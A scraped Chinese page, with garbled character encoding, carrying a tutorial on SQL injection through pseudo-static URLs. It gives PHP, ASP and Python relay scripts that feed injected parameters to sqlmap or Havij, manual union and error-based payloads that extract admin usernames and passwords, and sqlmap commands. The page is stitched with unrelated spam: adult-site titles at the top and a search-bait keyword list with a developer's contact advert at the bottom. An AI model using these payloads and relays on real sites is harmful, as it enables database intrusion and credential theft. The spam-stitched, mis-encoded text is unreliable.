成人精品一区二区三区中文字幕-成人精品一区二区三区-成人精品一级毛片-成人精品亚洲-日本在线视频一区二区-日本在线视频免费

導(dǎo)航首頁(yè) ? 技術(shù)教程 ? PHP針對(duì)偽靜態(tài)的注入總結(jié)【附asp與Python相關(guān)代碼】
全站頭部文字 我要出現(xiàn)在這里
PHP針對(duì)偽靜態(tài)的注入總結(jié)【附asp與Python相關(guān)代碼】 819 2023-12-08   

本文實(shí)例講述了PHP針對(duì)偽靜態(tài)的注入。分享給大家供大家參考,具體如下:

一:中轉(zhuǎn)注入法

1.通過(guò)http://www.xxx.com/news.php?id=1做了偽靜態(tài)之后就成這樣了
http://www.xxx.com/news.php/id/1.html

2.測(cè)試步驟:

中轉(zhuǎn)注入的php代碼:inject.php

<?php
set_time_limit(0);
$id=$_GET["id"];
$id=str_replace(” “,”%20″,$id);
$id=str_replace(“=”,”%3D”,$id);
//$url = "http://www.xxx.com/news.php/id/$id.html";
$url = "http://www.xxx.com/news.php/id/$id.html";
//echo $url;
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, "$url");
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HEADER, 0);
$output = curl_exec($ch);
curl_close($ch);
print_r($output);
?>

3.本地環(huán)境搭建PHP,然后訪(fǎng)問(wèn)http://127.0.0.1/inject.php?id=1

通過(guò)sqlmap或者h(yuǎn)avj可以跑注入漏洞。

附錄ASP中轉(zhuǎn)代碼:

<%
JmdcwName=request("id")
JmStr=JmdcwName
JmStr=URLEncoding(JmStr)
JMUrl="http://192.168.235.7:8808/ad/blog/"  //實(shí)際上要請(qǐng)求的網(wǎng)址
JMUrl=JMUrl & JmStr&".html"    //拼接url
response.write JMUrl&JmStr    //我這里故意輸出url來(lái)看
'JmRef="http://127.0.0.1/6kbbs/bank.asp"
JmCok=""
JmCok=replace(JmCok,chr(32),"%20") 
JmStr=URLEncoding(JmStr)  
response.write  PostData(JMUrl,JmStr,JmCok,JmRef) //url,查詢(xún)字符串,cookie,referer字段
Function PostData(PostUrl,PostStr,PostCok,PostRef)  
Dim Http
Set Http = Server.CreateObject("msxml2.serverXMLHTTP")
With Http
.Open "GET",PostUrl,False
.Send ()
PostData = .ResponseBody
End With
Set Http = Nothing
PostData =bytes2BSTR(PostData)
End Function
Function bytes2BSTR(vIn)   //處理返回的信息
Dim strReturn
Dim I, ThisCharCode, NextCharCode
strReturn = ""
For I = 1 To LenB(vIn)
ThisCharCode = AscB(MidB(vIn, I, 1))
If ThisCharCode < &H80 Then
strReturn = strReturn & Chr(ThisCharCode)
Else
NextCharCode = AscB(MidB(vIn, I + 1, 1))
strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode))
I = I + 1
End If
Next
bytes2BSTR = strReturn
End Function
Function URLEncoding(vstrin)    //發(fā)包前對(duì)參數(shù)的url編碼一下
strReturn=""
Dim i
'vstrin=replace(vstrin,"%","%25") '增加轉(zhuǎn)換搜索字符,
'vstrin=Replace(vstrin,chr(32),"%20") '轉(zhuǎn)換空格,如果網(wǎng)站過(guò)濾了空格,嘗試用/**/來(lái)代替%20
'vstrin=Replace(vstrin,chr(43),"%2B")  'JMDCW增加轉(zhuǎn)換+字符
vstrin=Replace(vstrin,chr(32),"/**/")  '在此增加要過(guò)濾的代碼 //這里很關(guān)鍵,方便啊,把空格自動(dòng)換成/**/,后面會(huì)說(shuō)到的
For i=1 To Len(vstrin)
ThisChr=Mid(vstrin,i,1)
if Abs(Asc(ThisChr))< &HFF Then
strReturn=strReturn & ThisChr
Else
InnerCode=Asc(ThisChr)
If InnerCode<0 Then
InnerCode=InnerCode + &H10000
End If
Hight1=(InnerCode And &HFF00) &HFF
Low1=InnerCode And &HFF
strReturn=strReturn & "%" & Hex(Hight1) & "%" & Hex(Low1)
End if
Next
URLEncoding=strReturn
End Function
%>

二、手工注入法

1.http://www.xxx.com/play/Diablo.html
http://www.xxx.com/down/html/?772.html

2.測(cè)試注入:

http://www.xxx.com/down/html/?772′.html
http://www.xxx.com /play/Diablo'.html
http://www.xxx.com/play/Diablo'/**/and
/**/1='1 /*.html
http://www.xxx.com/play/Diablo'
/**/and
/**/1='2 /*.html
http://www.xxx.com/page/html/?56′/**/and/**/1=1/*.html 正常
http://www.xxx.com/page/html/?56′/**/and/**/1=2/*.html 出錯(cuò)

3.看頁(yè)面是否存在差異,相同則不存在,不同存在注入。

4.聯(lián)合查詢(xún):

http://www.xxx.com/play/diablo' and 1=2 union select 1,2… frominformation_schema.columns where 1='1.html
http://www.xxx.com/page/html/?56'/**/and/**/(SELECT/**/1/**/from/**/(select/**/count(*),concat(floor(rand(0)*2),(substring((select(version())),1,62)))a/**/from/**/information_schema.tables/**/group/**/by/**/a)b)=1/*.html

手工注入法(二)

http://www.xxx.net/news/html/?410.html
http://www.xxx.net/news/html/?410'union/**/select/**/1/**/from/**/(select/**/count(*),concat(floor(rand(0)*2),0x3a,(select/**/concat(user,0x3a,password)/**/from/**/pwn_base_admin/**/limit/**/0,1),0x3a)a/**/from/**/information_schema.tables/**/group/**/by/**/a)b/**/where'1'='1.html

注:

偽靜態(tài)的注入和URL的普通GET注入不太相同

。普通url的get注入的%20,%23,+等都可以用;但是偽靜態(tài)不行,會(huì)被直接傳遞到到url中,所以用/**/這個(gè)注釋符號(hào)表示空格。

三、SQLmap方法

在sqlmap中偽靜態(tài)哪兒存在注入點(diǎn)就加*
http://www.cunlide.com/id1/1/id2/2
python sqlmap.py -u “http://www.xxx.com/id1/1*/id2/2″
http://www.xxx.com/news/class/?103.htm
python sqlmap.py -u “http://www.xxx.com/news/class/?103*.html”

四、python腳本方法

代碼:

from BaseHTTPServer import *
import urllib2
class MyHTTPHandler(BaseHTTPRequestHandler):
 def do_GET(self):
  path=self.path
  path=path[path.find('id=')+3:]
  proxy_support = urllib2.ProxyHandler({"http":"http://127.0.0.1:8087"})
  opener = urllib2.build_opener(proxy_support)
  urllib2.install_opener(opener)
  url="http://www.xxx.com/magazine/imedia/gallery/dickinsons-last-dance/"
  try:
   response=urllib2.urlopen(url+path)
   html=response.read()
  except urllib2.URLError,e:
   html=e.read()
  self.wfile.write(html)
server = HTTPServer(("", 8000), MyHTTPHandler)
server.serve_forever()

更多關(guān)于PHP相關(guān)內(nèi)容感興趣的讀者可查看本站專(zhuān)題:《php程序設(shè)計(jì)安全教程》、《php安全過(guò)濾技巧總結(jié)》、《PHP運(yùn)算與運(yùn)算符用法總結(jié)》、《PHP網(wǎng)絡(luò)編程技巧總結(jié)》、《PHP基本語(yǔ)法入門(mén)教程》、《php面向?qū)ο蟪绦蛟O(shè)計(jì)入門(mén)教程》、《php字符串(string)用法總結(jié)》、《php+mysql數(shù)據(jù)庫(kù)操作入門(mén)教程》及《php常見(jiàn)數(shù)據(jù)庫(kù)操作技巧匯總》

希望本文所述對(duì)大家PHP程序設(shè)計(jì)有所幫助。


主站蜘蛛池模板: 男同志gay免费视频| 美女网站视频免费| 精品视频| 五年级小数除法竖式计算题100道| 父母血型和孩子血型对照表| 红髅| 假面骑士响鬼| 蛇蝎美人第四季| 美女热吻| 假如我是一只鸟艾青诗选| 红岩下的追捕电视剧| 炊事班的故事演员表| 李美淑主演的师生恋电影在线观看 | 沈月个人简历资料| 电影《天才》| 变形金刚5免费完整版在线观看| 我不再什么作文500字| 黄视频在线播放| 果宝特攻5 2030| 新三国高清在线观看| 上官于飞| 饥渴女人的外遇| angela white| 倪妮| 漂亮孕妇突然肚子疼视频| 难兄难弟 电影| 平型关大捷纪念馆| 大红一师| 现代企业管理| 《不扣钮的女孩》| 正发生电影| 钩织包包教程视频| 女脱衣服| 中专专业| 好医生5| 广州打折网| 双修杨幂,刘亦菲小说| 寄宿生韩国电影| yy五项滚刀骂人套词 | 卜算子咏梅拼音| 张振铎|

!?。≌鹃L(zhǎng)長(zhǎng)期在線(xiàn)接?。?!

網(wǎng)站、小程序:定制開(kāi)發(fā)/二次開(kāi)發(fā)/仿制開(kāi)發(fā)等

各種疑難雜癥解決/定制接口/定制采集等

站長(zhǎng)微信:lxwl520520

站長(zhǎng)QQ:1737366103